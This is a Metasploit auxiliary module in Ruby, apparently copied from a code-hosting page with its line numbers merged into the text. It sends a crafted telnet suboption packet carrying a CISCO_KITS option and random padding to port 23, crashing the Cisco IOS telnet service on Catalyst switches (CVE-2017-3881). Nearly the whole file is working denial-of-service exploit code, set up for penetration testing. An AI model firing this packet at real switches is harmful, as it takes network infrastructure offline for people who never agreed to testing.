Path: blob/master/modules/auxiliary/dos/cisco/ios_telnet_rocem.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Cisco IOS Telnet Denial of Service',14'Description' => %q{15This module triggers a Denial of Service condition in the Cisco IOS16telnet service affecting multiple Cisco switches. Tested against Cisco17Catalyst 2960 and 3750.18},19'Author' => [ 'Artem Kondratenko' ],20'License' => MSF_LICENSE,21'References' => [22['BID', '96960'],23['CVE', '2017-3881'],24['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp'],25['URL', 'https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution']26],27'DisclosureDate' => '2017-03-17',28'Notes' => {29'Stability' => [CRASH_SERVICE_DOWN],30'SideEffects' => [],31'Reliability' => []32}33)34)3536register_options([ Opt::RPORT(23) ])37end3839def run40connect41print_status 'Connected to telnet service'42packet = sock.read(200)43if packet.nil?44print_error 'Failed to get initial packet from telnet service.'45else46print_status 'Got initial packet from telnet service: ' + packet.inspect47end48print_status 'Sending Telnet DoS packet'49sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + Rex::Text.rand_text_alpha(1000) + ":1:\xff\xf0")50disconnect51rescue ::Rex::ConnectionRefused52print_status "Unable to connect to #{rhost}:#{rport}."53rescue ::Errno::ECONNRESET54print_good "DoS packet successful. #{rhost} not responding."55end56end575859